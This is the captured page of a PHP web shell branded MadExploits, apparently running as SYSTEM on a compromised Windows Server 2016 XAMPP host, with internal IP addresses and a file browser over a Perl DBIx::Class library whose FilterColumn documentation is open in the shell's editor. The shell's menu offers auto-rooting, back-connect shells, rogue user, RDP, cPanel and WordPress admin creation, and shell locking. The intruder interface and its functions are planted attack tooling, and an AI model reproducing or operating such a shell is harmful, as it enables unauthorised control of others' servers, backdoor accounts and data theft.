Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
DBIx /
Class /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxrwxrwx
CDBICompat
[ DIR ]
drwxrwxrwx
ClassResolver
[ DIR ]
drwxrwxrwx
InflateColumn
[ DIR ]
drwxrwxrwx
Manual
[ DIR ]
drwxrwxrwx
Optional
[ DIR ]
drwxrwxrwx
PK
[ DIR ]
drwxrwxrwx
Relationship
[ DIR ]
drwxrwxrwx
ResultClass
[ DIR ]
drwxrwxrwx
ResultSet
[ DIR ]
drwxrwxrwx
ResultSource
[ DIR ]
drwxrwxrwx
ResultSourceProxy
[ DIR ]
drwxrwxrwx
SQLAHacks
[ DIR ]
drwxrwxrwx
SQLMaker
[ DIR ]
drwxrwxrwx
Schema
[ DIR ]
drwxrwxrwx
Serialize
[ DIR ]
drwxrwxrwx
Storage
[ DIR ]
drwxrwxrwx
AccessorGroup.pm
1.33
KB
-rw-rw-rw-
Admin.pm
11.78
KB
-rw-rw-rw-
CDBICompat.pm
4.49
KB
-rw-rw-rw-
Carp.pm
4.98
KB
-rw-rw-rw-
Componentised.pm
2.2
KB
-rw-rw-rw-
Core.pm
1.34
KB
-rw-rw-rw-
Cursor.pm
1.94
KB
-rw-rw-rw-
DB.pm
5.9
KB
-rw-rw-rw-
Exception.pm
2.3
KB
-rw-rw-rw-
FilterColumn.pm
7.77
KB
-rw-rw-rw-
FilterColumn.pod
4.17
KB
-rw-rw-rw-
InflateColumn.pm
7.02
KB
-rw-rw-rw-
InflateColumn.pod
5.55
KB
-rw-rw-rw-
Manual.pod
1.74
KB
-rw-rw-rw-
Ordered.pm
26.18
KB
-rw-rw-rw-
PK.pm
3.3
KB
-rw-rw-rw-
PK.pod
2.96
KB
-rw-rw-rw-
Relationship.pm
21.54
KB
-rw-rw-rw-
ResultSet.pm
140.76
KB
-rw-rw-rw-
ResultSetColumn.pm
10.62
KB
-rw-rw-rw-
ResultSetManager.pm
3.25
KB
-rw-rw-rw-
ResultSetProxy.pm
997
B
-rw-rw-rw-
ResultSource.pm
66.33
KB
-rw-rw-rw-
ResultSourceHandle.pm
3.74
KB
-rw-rw-rw-
ResultSourceProxy.pm
1.88
KB
-rw-rw-rw-
Row.pm
44.7
KB
-rw-rw-rw-
SQLAHacks.pm
120
B
-rw-rw-rw-
SQLMaker.pm
6.35
KB
-rw-rw-rw-
Schema.pm
42.39
KB
-rw-rw-rw-
StartupCheck.pm
1.48
KB
-rw-rw-rw-
Storage.pm
15.52
KB
-rw-rw-rw-
UTF8Columns.pm
5.18
KB
-rw-rw-rw-
_Util.pm
10.77
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FilterColumn.pod
=for comment POD_DERIVED_INDEX_GENERATED The following documentation is automatically generated. Please do not edit this file, but rather the original, inline with DBIx::Class::FilterColumn at lib/DBIx/Class/FilterColumn.pm (on the system that originally ran this). If you do edit this file, and don't want your changes to be removed, make sure you change the first line. =cut =head1 NAME DBIx::Class::FilterColumn - Automatically convert column data =head1 SYNOPSIS In your Schema or DB class add "FilterColumn" to the top of the component list. __PACKAGE__->load_components(qw( FilterColumn ... )); Set up filters for the columns you want to convert. __PACKAGE__->filter_column( money => { filter_to_storage => 'to_pennies', filter_from_storage => 'from_pennies', }); sub to_pennies { $_[1] * 100 } sub from_pennies { $_[1] / 100 } 1; =head1 DESCRIPTION This component is meant to be a more powerful, but less DWIM-y, L<DBIx::Class::InflateColumn>. One of the major issues with said component is that it B<only> works with references. Generally speaking anything that can be done with L<DBIx::Class::InflateColumn> can be done with this component. =head1 METHODS =head2 filter_column __PACKAGE__->filter_column( colname => { filter_from_storage => 'method'|\&coderef, filter_to_storage => 'method'|\&coderef, }) This is the method that you need to call to set up a filtered column. It takes exactly two arguments; the first being the column name the second being a hash reference with C<filter_from_storage> and C<filter_to_storage> set to either a method name or a code reference. In either case the filter is invoked as: $result->$filter_specification ($value_to_filter) with C<$filter_specification> being chosen depending on whether the C<$value_to_filter> is being retrieved from or written to permanent storage. If a specific directional filter is not specified, the original value will be passed to/from storage unfiltered. =head2 get_filtered_column $obj->get_filtered_column('colname') Returns the filtered value of the column =head2 set_filtered_column $obj->set_filtered_column(colname => 'new_value') Sets the filtered value of the column =head1 EXAMPLE OF USE Some databases have restrictions on values that can be passed to boolean columns, and problems can be caused by passing value that perl considers to be false (such as C<undef>). One solution to this is to ensure that the boolean values are set to something that the database can handle - such as numeric zero and one, using code like this:- __PACKAGE__->filter_column( my_boolean_column => { filter_to_storage => sub { $_[1] ? 1 : 0 }, } ); In this case the C<filter_from_storage> is not required, as just passing the database value through to perl does the right thing. =head1 INHERITED METHODS =over 4 =item L<DBIx::Class::Row> L<copy|DBIx::Class::Row/copy>, L<delete|DBIx::Class::Row/delete>, L<discard_changes|DBIx::Class::Row/discard_changes>, L<get_from_storage|DBIx::Class::Row/get_from_storage>, L<get_inflated_columns|DBIx::Class::Row/get_inflated_columns>, L<in_storage|DBIx::Class::Row/in_storage>, L<inflate_result|DBIx::Class::Row/inflate_result>, L<insert|DBIx::Class::Row/insert>, L<insert_or_update|DBIx::Class::Row/insert_or_update>, L<is_changed|DBIx::Class::Row/is_changed>, L<is_column_changed|DBIx::Class::Row/is_column_changed>, L<make_column_dirty|DBIx::Class::Row/make_column_dirty>, L<register_column|DBIx::Class::Row/register_column>, L<result_source|DBIx::Class::Row/result_source>, L<set_column|DBIx::Class::Row/set_column>, L<set_columns|DBIx::Class::Row/set_columns>, L<set_inflated_columns|DBIx::Class::Row/set_inflated_columns>, L<throw_exception|DBIx::Class::Row/throw_exception>, L<update_or_insert|DBIx::Class::Row/update_or_insert> =back =head1 FURTHER QUESTIONS? Check the list of L<additional DBIC resources|DBIx::Class/GETTING HELP/SUPPORT>. =head1 COPYRIGHT AND LICENSE This module is free software L<copyright|DBIx::Class/COPYRIGHT AND LICENSE> by the L<DBIx::Class (DBIC) authors|DBIx::Class/AUTHORS>. You can redistribute it and/or modify it under the same terms as the L<DBIx::Class library|DBIx::Class/COPYRIGHT AND LICENSE>.
Close